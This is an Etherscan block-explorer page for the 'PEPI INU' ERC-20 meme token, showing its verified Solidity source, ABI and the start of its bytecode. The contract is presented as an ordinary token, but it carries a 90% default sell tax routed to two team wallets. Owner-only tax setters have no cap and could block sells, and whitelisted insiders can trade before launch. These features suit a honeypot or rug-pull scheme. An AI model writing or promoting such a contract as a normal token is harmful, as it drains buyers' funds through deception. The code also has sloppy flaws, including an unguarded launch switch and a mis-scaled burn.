ETH Price: $3,247.45 (-0.83%)
Gas: 3 Gwei

Token

PEPI INU (INUPEPI)
 

Overview

Max Total Supply

1,000,000,000 INUPEPI

Holders

98

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
2,396,844.386516395 INUPEPI

Value
$0.00
0x85ece6519a3eec9f4175556a5248dc65d248532c
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
INUPEPI

Compiler Version
v0.8.18+commit.87f61d96

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-07-10
*/

//https://PEPIINU.VIP
//Telegram: https://t.me/pepiInu
//Twitter: https://twitter.com/PepiInu

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}


abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        this; 
        return msg.data;
    }
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }
 
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }
 
    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }
 
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }
 
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }
 
    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}

abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor() {
        _setOwner(_msgSender());
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        _setOwner(address(0));
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _setOwner(newOwner);
    }

    function _setOwner(address newOwner) private {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;

    function WETH() external pure returns (address);
    function factory() external pure returns (address);

     function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (
            uint256 amountToken,
            uint256 amountETH,
            uint256 liquidity
        );


    function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
}

library Address{
    function sendValue(address payable recipient, uint256 amount) internal {
        require(address(this).balance >= amount, "Address: insufficient balance");

        (bool success, ) = recipient.call{value: amount}("");
        require(success, "Address: unable to send value, recipient may have reverted");
    }
}

contract INUPEPI is IERC20, Ownable {
    using SafeMath for uint256;

    using Address for address payable;
    string private constant _name = "PEPI INU";
    string private constant _symbol = "INUPEPI";
    uint8 private constant _decimals = 9;
    uint256 private _totalSupply = 1_000_000_000 * 10**_decimals;
    uint256 private  _maxWallet = 10_000_000 * 10**_decimals;
    uint256 private  _maxBuyAmount = 10_000_000 * 10**_decimals;
    uint256 private  _maxSellAmount = 10_000_000 * 10**_decimals;
    uint256 private  _autoSwap = 5_000_000 * 10**_decimals;
    address public projectE = 0xB3dbbe854295bF5c494b27D89E4A3F3FB9ce0432;
    address public teamW = 0x3b58Fbffafa90776246488C5636568bBB44cC734;
    uint256 private _totalBurned;
    mapping(address => bool) private _isExcludedFromFee;
    mapping(address => bool) private _isWhiteList;
    IUniswapV2Router02 public uniswapV2Router;
    address public uniswapV2Pair;
    address private _owner;
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    event Burn(address indexed burner, uint256 amount);

    bool private _AutoSwap = true;
    bool private _Launch = false;
    bool private _transfersEnabled = false;
    bool private _TokenSwap = true;
    bool private _isSelling = false;

    uint256 private _ProjectExpenseTaxRate = 1;
    uint256 private _teamTaxRate = 1;
    uint256 private AmountBuyRate = _ProjectExpenseTaxRate + _teamTaxRate;
    uint256 private _ProjectExpenseSellTaxRate = 45;
    uint256 private _teamTaxSellRate = 45;
    uint256 private AmountSellRate = _ProjectExpenseSellTaxRate + _teamTaxSellRate;

    constructor(address hold_1) {

        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);

        uniswapV2Router = _uniswapV2Router;
        uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());

        _owner = msg.sender;

        uint256 tsupply = _totalSupply;

         uint256 Rteam = _totalSupply.mul(5).div(100);

        _balances[msg.sender] = tsupply - Rteam;
        _balances[hold_1] = Rteam;

        _isExcludedFromFee[_owner] = true;
        _isExcludedFromFee[hold_1] = true;
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[projectE] = true;
        _isExcludedFromFee[teamW] = true;
        
        emit Transfer(address(0), msg.sender, _balances[msg.sender]);
    }

    function getOwner() public view returns (address) {
        return owner();
    }
    
    function name() public pure returns (string memory) {
        return _name;
    }
    
    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function totalBurned() public view returns (uint256) {
        return _totalBurned;
    }

    function isExcludedFromFee(address account) public view returns (bool) {
        return _isExcludedFromFee[account];
    }

    function isWhitelist(address account) public view returns (bool) {
        return _isWhiteList[account];
    }

    function BuyRate() public view returns (
        uint256 ProjectExpenseBuyRate,
        uint256 teamBuyRate,
        uint256 totalBuyRate,
        uint256 maxWallet,
        uint256 maxBuyAmount
    ) {
        ProjectExpenseBuyRate = _ProjectExpenseTaxRate;
        teamBuyRate = _teamTaxRate;
        totalBuyRate = AmountBuyRate;
        maxWallet = _maxWallet;
        maxBuyAmount = _maxBuyAmount;
    }

    function SellRate() public view returns (
        uint256 ProjectExpenseSellRate,
        uint256 teamSellRate,
        uint256 totalSellRate,
        uint256 maxSellAmount
    ) {
        ProjectExpenseSellRate = _ProjectExpenseSellTaxRate;
        teamSellRate = _teamTaxSellRate;
        totalSellRate = AmountSellRate;
        maxSellAmount = _maxSellAmount;
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {

        if(recipient != uniswapV2Pair && recipient != owner() && !_isExcludedFromFee[recipient]){ require(_balances[recipient] + amount <= _maxWallet, "MyToken: recipient wallet balance exceeds the maximum limit");}

        _transfer(msg.sender, recipient, amount);
        
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(msg.sender, spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _approve(sender, msg.sender, _allowances[sender][msg.sender] - amount);
        _transfer(sender, recipient, amount);
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "MyToken: approve from the zero address");
        require(spender != address(0), "MyToken: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    // WARNING: This function is dangerous and irreversible.
    function burn(uint256 amount) external {
        require(amount > 0, "Amount must be greater than zero");
        require(amount <= _balances[msg.sender], "Insufficient balance");

        uint256 input = amount * 10 ** _decimals;
        _balances[msg.sender] = _balances[msg.sender].sub(input);
        _totalSupply = _totalSupply.sub(input);
        _totalBurned = _totalBurned.add(input);

        emit Burn(msg.sender, input);
        emit Transfer(msg.sender,address(0),input); 
    }

    function _transfer(address sender, address recipient, uint256 amount) private {

        require(sender != address(0), "MyToken: transfer from the zero address");
        require(recipient != address(0), "MyToken: transfer to the zero address");
        require(amount > 0, "MyToken: transfer amount must be greater than zero");

        if(recipient != uniswapV2Pair && recipient != owner() && !_isExcludedFromFee[recipient]){require(_balances[recipient] + amount <= _maxWallet, "recipient wallet balance exceeds the maximum limit");}
        if(!_Launch){require(_isExcludedFromFee[sender] || _isExcludedFromFee[recipient] || _isWhiteList[sender] || _isWhiteList[recipient], "we not launch yet");}
        if(!_Launch && recipient != uniswapV2Pair && sender != uniswapV2Pair) {require(_transfersEnabled, "Transfers are currently disabled");}
       
        
        bool _AutoTaxes = true;

        //sell   
        if(recipient == uniswapV2Pair && !_isExcludedFromFee[sender] && sender != owner()){

                require(amount <= _maxSellAmount, "Sell amount exceeds max limit");

                _isSelling = true;
               
                if(_AutoSwap && balanceOf(address(this)) >= _autoSwap){

                    AutoSwap();
                }  
        }

        //buy
        if(sender == uniswapV2Pair && !_isExcludedFromFee[recipient] && recipient != owner()){
                    
            require(amount <= _maxBuyAmount, "Buy amount exceeds max limit");
            
        }

        if (_isExcludedFromFee[sender] || _isExcludedFromFee[recipient]) { _AutoTaxes = false; }
        if (recipient != uniswapV2Pair && sender != uniswapV2Pair) { _AutoTaxes = false; }

        if (_AutoTaxes) {

                if(!_isSelling){

                    uint256 totalTaxAmount = amount * AmountBuyRate / 100;
                    uint256 transferAmount = amount - totalTaxAmount;
                   
                    _balances[address(this)] = _balances[address(this)].add(totalTaxAmount);
                    _balances[sender] = _balances[sender].sub(amount);
                    _balances[recipient] = _balances[recipient].add(transferAmount);

                    emit Transfer(sender, recipient, transferAmount);
                    emit Transfer(sender, address(this), totalTaxAmount);

                }else{

                    uint256 totalTaxAmount = amount * AmountSellRate / 100;
                    uint256 transferAmount = amount - totalTaxAmount;

                    _balances[address(this)] = _balances[address(this)].add(totalTaxAmount);
                    _balances[sender] = _balances[sender].sub(amount);
                    _balances[recipient] = _balances[recipient].add(transferAmount);

                    emit Transfer(sender, recipient, transferAmount);
                    emit Transfer(sender, address(this), totalTaxAmount);

                    _isSelling = false;
                }
            
        }else{

                _balances[sender] = _balances[sender].sub(amount);
                _balances[recipient] = _balances[recipient].add(amount);

                emit Transfer(sender, recipient, amount);

        }
    }


    function swapTokensForEth(uint256 tokenAmount) private {

        // Set up the contract address and the token to be swapped
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();

        // Approve the transfer of tokens to the contract address
        _approve(address(this), address(uniswapV2Router), tokenAmount);

        // Make the swap
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0, // accept any amount of ETH
            path,
            address(this),
            block.timestamp
        );
    }

    function AutoSwap() private {
                    
            uint256 caBalance = balanceOf(address(this));

            uint256 toSwap = caBalance;

            swapTokensForEth(toSwap);

            uint256 receivedBalance = address(this).balance;
                    
            uint256 projectAmount = (receivedBalance * (_ProjectExpenseTaxRate + _ProjectExpenseSellTaxRate)) / 100;
            uint256 teamAmount = (receivedBalance * (_teamTaxRate + _teamTaxSellRate)) / 100;
            uint256 txcollect = receivedBalance - projectAmount - teamAmount;
            uint256 feesplit = txcollect.div(2);

            if (projectAmount > 0) {payable(projectE).transfer(projectAmount);}
            if (feesplit > 0) {payable(projectE).transfer(feesplit); payable(teamW).transfer(feesplit); }
            if (teamAmount > 0) {payable(teamW).transfer(teamAmount);}
    }

   function setProjectEAddress(address newAddress) public onlyOwner {
        require(newAddress != address(0), "Invalid address");
        projectE = newAddress;
        _isExcludedFromFee[newAddress] = true;
    }

    function setTeamAddress(address newAddress) public onlyOwner {
        require(newAddress != address(0), "Invalid address");
        teamW = newAddress;
        _isExcludedFromFee[newAddress] = true;
    }

   function enableLaunch() external {
        _Launch = true;
        _transfersEnabled = true;
    }

    function setExcludedFromFee(address account, bool status) external onlyOwner {
        _isExcludedFromFee[account] = status;
    }

    function setWhitelist(address account, bool status) external onlyOwner {
        _isWhiteList[account] = status;
    }

    function bulkwhitelist(address[] memory accounts, bool state) external onlyOwner{
        for(uint256 i = 0; i < accounts.length; i++){
            _isWhiteList[accounts[i]] = state;
        }
    }

    function setAutoSwap(uint256 newAutoSwap) external onlyOwner {
        require(newAutoSwap <= (totalSupply() * 1) / 100, "Invalid value: exceeds 1% of total supply");
        _autoSwap = newAutoSwap * 10**_decimals;
    }

    function updateLimits(uint256 maxWallet, uint256 maxBuyAmount, uint256 maxSellAmount) external onlyOwner {
        _maxWallet = maxWallet * 10**_decimals;
        _maxBuyAmount = maxBuyAmount * 10**_decimals;
        _maxSellAmount = maxSellAmount * 10**_decimals;
    }

    function setBuyTaxRates(uint256 ProjectETaxRate, uint256 teamTaxRate) external onlyOwner {

        _ProjectExpenseTaxRate = ProjectETaxRate;
        _teamTaxRate = teamTaxRate;
        AmountBuyRate = _ProjectExpenseTaxRate + _teamTaxRate;

    }


    function setSellTaxRates(uint256 ProjectETaxRate, uint256 teamTaxRate) external onlyOwner {

        _ProjectExpenseSellTaxRate = ProjectETaxRate;
        _teamTaxSellRate = teamTaxRate;
        AmountSellRate = _ProjectExpenseSellTaxRate + _teamTaxSellRate;
    }

    receive() external payable {}

}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"address","name":"hold_1","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"burner","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"}],"name":"Burn","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"BuyRate","outputs":[{"internalType":"uint256","name":"ProjectExpenseBuyRate","type":"uint256"},{"internalType":"uint256","name":"teamBuyRate","type":"uint256"},{"internalType":"uint256","name":"totalBuyRate","type":"uint256"},{"internalType":"uint256","name":"maxWallet","type":"uint256"},{"internalType":"uint256","name":"maxBuyAmount","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"SellRate","outputs":[{"internalType":"uint256","name":"ProjectExpenseSellRate","type":"uint256"},{"internalType":"uint256","name":"teamSellRate","type":"uint256"},{"internalType":"uint256","name":"totalSellRate","type":"uint256"},{"internalType":"uint256","name":"maxSellAmount","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"accounts","type":"address[]"},{"internalType":"bool","name":"state","type":"bool"}],"name":"bulkwhitelist","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"burn","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"enableLaunch","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"getOwner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isExcludedFromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isWhitelist","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"projectE","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newAutoSwap","type":"uint256"}],"name":"setAutoSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"ProjectETaxRate","type":"uint256"},{"internalType":"uint256","name":"teamTaxRate","type":"uint256"}],"name":"setBuyTaxRates","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"status","type":"bool"}],"name":"setExcludedFromFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newAddress","type":"address"}],"name":"setProjectEAddress","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"ProjectETaxRate","type":"uint256"},{"internalType":"uint256","name":"teamTaxRate","type":"uint256"}],"name":"setSellTaxRates","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newAddress","type":"address"}],"name":"setTeamAddress","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"status","type":"bool"}],"name":"setWhitelist","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"teamW","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalBurned","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"maxWallet","type":"uint256"},{"internalType":"uint256","name":"maxBuyAmount","type":"uint256"},{"internalType":"uint256","name":"maxSellAmount","type":"uint256"}],"name":"updateLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052620000126009600a620006a8565b6200002290633b9aca00620006b9565b600155620000336009600a620006a8565b620000429062989680620006b9565b600255620000536009600a620006a8565b620000629062989680620006b9565b600355620000736009600a620006a8565b620000829062989680620006b9565b600455620000936009600a620006a8565b620000a290624c4b40620006b9565b600555600680546001600160a01b031990811673b3dbbe854295bf5c494b27d89e4a3f3fb9ce04321790915560078054909116733b58fbffafa90776246488c5636568bbb44cc7341790556010805464ffffffffff19166301000001179055600160118190556012819055620001199080620006d3565b601355602d60148190556015819055620001349080620006d3565b6016553480156200014457600080fd5b5060405162002b1338038062002b138339810160408190526200016791620006e9565b620001723362000428565b600b80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b81529051829163c45a01559160048083019260209291908290030181865afa158015620001d8573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620001fe9190620006e9565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156200024c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002729190620006e9565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015620002c0573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002e69190620006e9565b600c80546001600160a01b03929092166001600160a01b0319928316179055600d80549091163317905560015460006200034b60646200033784600562000ef562000478602090811b91909117901c565b6200050f60201b62000f7e1790919060201c565b905062000359818362000714565b336000818152600e602081815260408084209586556001600160a01b038a8116808652828620899055600d5482168652600984528286208054600160ff1991821681179092559187528387208054831682179055308752838720805483168217905560065483168752838720805483168217905560075490921686528286208054909116909117905584845291815293549051908152919290917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a3505050506200079d565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6000826000036200048c5750600062000509565b60006200049a8385620006b9565b905082620004a985836200072a565b14620005065760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084015b60405180910390fd5b90505b92915050565b60006200050683836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506200055960201b60201c565b600081836200057d5760405162461bcd60e51b8152600401620004fd91906200074d565b5060006200058c84866200072a565b95945050505050565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115620005ec578160001904821115620005d057620005d062000595565b80851615620005de57918102915b93841c9390800290620005b0565b509250929050565b600082620006055750600162000509565b81620006145750600062000509565b81600181146200062d5760028114620006385762000658565b600191505062000509565b60ff8411156200064c576200064c62000595565b50506001821b62000509565b5060208310610133831016604e8410600b84101617156200067d575081810a62000509565b620006898383620005ab565b8060001904821115620006a057620006a062000595565b029392505050565b60006200050660ff841683620005f4565b808202811582820484141762000509576200050962000595565b8082018082111562000509576200050962000595565b600060208284031215620006fc57600080fd5b81516001600160a01b03811681146200050657600080fd5b8181038181111562000509576200050962000595565b6000826200074857634e487b7160e01b600052601260045260246000fd5b500490565b600060208083528351808285015260005b818110156200077c578581018301518582016040015282016200075e565b506000604082860101526040601f19601f8301168501019250505092915050565b61236680620007ad6000396000f3fe6080604052600436106101f25760003560e01c806370a082311161010d578063ba547b12116100a0578063da3691dd1161006f578063da3691dd14610623578063dd62ed3e14610643578063f18b8cba14610689578063f2fde38b146106a9578063ff5211bb146106c957600080fd5b8063ba547b1214610595578063c683630d146105b5578063d89135cd146105ee578063d8a0663c1461060357600080fd5b80638da5cb5b116100dc5780638da5cb5b146104e357806395d89b4114610501578063a321babf14610531578063a9059cbb1461057557600080fd5b806370a0823114610478578063715018a6146104ae5780637d4e7c57146104c3578063893d20e8146104e357600080fd5b806337f3d78e116101855780635342acb4116101545780635342acb4146103df57806353d6fd59146104185780636612e66f146104385780636690864e1461045857600080fd5b806337f3d78e1461035f57806342966c681461037f57806349bd5a5e1461039f5780634d6f8a95146103bf57600080fd5b806323b872dd116101c157806323b872dd146102c857806324968eca146102e8578063313ce5671461032157806336a0f8a51461033d57600080fd5b806306fdde03146101fe578063095ea7b3146102415780631694505e1461027157806318160ddd146102a957600080fd5b366101f957005b600080fd5b34801561020a57600080fd5b506040805180820190915260088152675045504920494e5560c01b60208201525b6040516102389190611de7565b60405180910390f35b34801561024d57600080fd5b5061026161025c366004611e5a565b6106e9565b6040519015158152602001610238565b34801561027d57600080fd5b50600b54610291906001600160a01b031681565b6040516001600160a01b039091168152602001610238565b3480156102b557600080fd5b506001545b604051908152602001610238565b3480156102d457600080fd5b506102616102e3366004611e86565b610700565b3480156102f457600080fd5b50601454601554601654600454604080519485526020850193909352918301526060820152608001610238565b34801561032d57600080fd5b5060405160098152602001610238565b34801561034957600080fd5b5061035d610358366004611ec7565b61074f565b005b34801561036b57600080fd5b50600754610291906001600160a01b031681565b34801561038b57600080fd5b5061035d61039a366004611ef3565b6107d2565b3480156103ab57600080fd5b50600c54610291906001600160a01b031681565b3480156103cb57600080fd5b5061035d6103da366004611f0c565b61093c565b3480156103eb57600080fd5b506102616103fa366004611f0c565b6001600160a01b031660009081526009602052604090205460ff1690565b34801561042457600080fd5b5061035d610433366004611f39565b6109e8565b34801561044457600080fd5b5061035d610453366004611f39565b610a3d565b34801561046457600080fd5b5061035d610473366004611f0c565b610a92565b34801561048457600080fd5b506102ba610493366004611f0c565b6001600160a01b03166000908152600e602052604090205490565b3480156104ba57600080fd5b5061035d610b3e565b3480156104cf57600080fd5b5061035d6104de366004611f6e565b610b74565b3480156104ef57600080fd5b506000546001600160a01b0316610291565b34801561050d57600080fd5b50604080518082019091526007815266494e555045504960c81b602082015261022b565b34801561053d57600080fd5b50601154601254601354600254600354604080519586526020860194909452928401919091526060830152608082015260a001610238565b34801561058157600080fd5b50610261610590366004611e5a565b610bb9565b3480156105a157600080fd5b50600654610291906001600160a01b031681565b3480156105c157600080fd5b506102616105d0366004611f0c565b6001600160a01b03166000908152600a602052604090205460ff1690565b3480156105fa57600080fd5b506008546102ba565b34801561060f57600080fd5b5061035d61061e366004611ef3565b610cb8565b34801561062f57600080fd5b5061035d61063e366004611f6e565b610d7f565b34801561064f57600080fd5b506102ba61065e366004611f90565b6001600160a01b039182166000908152600f6020908152604080832093909416825291909152205490565b34801561069557600080fd5b5061035d6106a4366004611fdf565b610dc4565b3480156106b557600080fd5b5061035d6106c4366004611f0c565b610e5a565b3480156106d557600080fd5b506010805462ffff00191662010100179055005b60006106f6338484610fc0565b5060015b92915050565b6001600160a01b0383166000908152600f6020908152604080832033808552925282205461073a9186916107359086906120cc565b610fc0565b6107458484846110e8565b5060019392505050565b6000546001600160a01b031633146107825760405162461bcd60e51b8152600401610779906120df565b60405180910390fd5b61078e6009600a6121f8565b6107989084612207565b6002556107a76009600a6121f8565b6107b19083612207565b6003556107c06009600a6121f8565b6107ca9082612207565b600455505050565b600081116108225760405162461bcd60e51b815260206004820181905260248201527f416d6f756e74206d7573742062652067726561746572207468616e207a65726f6044820152606401610779565b336000908152600e60205260409020548111156108785760405162461bcd60e51b8152602060048201526014602482015273496e73756666696369656e742062616c616e636560601b6044820152606401610779565b60006108866009600a6121f8565b6108909083612207565b336000908152600e60205260409020549091506108ad9082611991565b336000908152600e60205260409020556001546108ca9082611991565b6001556008546108da90826119d3565b60085560405181815233907fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca59060200160405180910390a260405181815260009033906000805160206123118339815191529060200160405180910390a35050565b6000546001600160a01b031633146109665760405162461bcd60e51b8152600401610779906120df565b6001600160a01b0381166109ae5760405162461bcd60e51b815260206004820152600f60248201526e496e76616c6964206164647265737360881b6044820152606401610779565b600680546001600160a01b039092166001600160a01b0319909216821790556000908152600960205260409020805460ff19166001179055565b6000546001600160a01b03163314610a125760405162461bcd60e51b8152600401610779906120df565b6001600160a01b03919091166000908152600a60205260409020805460ff1916911515919091179055565b6000546001600160a01b03163314610a675760405162461bcd60e51b8152600401610779906120df565b6001600160a01b03919091166000908152600960205260409020805460ff1916911515919091179055565b6000546001600160a01b03163314610abc5760405162461bcd60e51b8152600401610779906120df565b6001600160a01b038116610b045760405162461bcd60e51b815260206004820152600f60248201526e496e76616c6964206164647265737360881b6044820152606401610779565b600780546001600160a01b039092166001600160a01b0319909216821790556000908152600960205260409020805460ff19166001179055565b6000546001600160a01b03163314610b685760405162461bcd60e51b8152600401610779906120df565b610b726000611a32565b565b6000546001600160a01b03163314610b9e5760405162461bcd60e51b8152600401610779906120df565b60148290556015819055610bb2818361221e565b6016555050565b600c546000906001600160a01b03848116911614801590610be857506000546001600160a01b03848116911614155b8015610c0d57506001600160a01b03831660009081526009602052604090205460ff16155b15610cad576002546001600160a01b0384166000908152600e6020526040902054610c3990849061221e565b1115610cad5760405162461bcd60e51b815260206004820152603b60248201527f4d79546f6b656e3a20726563697069656e742077616c6c65742062616c616e6360448201527f65206578636565647320746865206d6178696d756d206c696d6974000000000060648201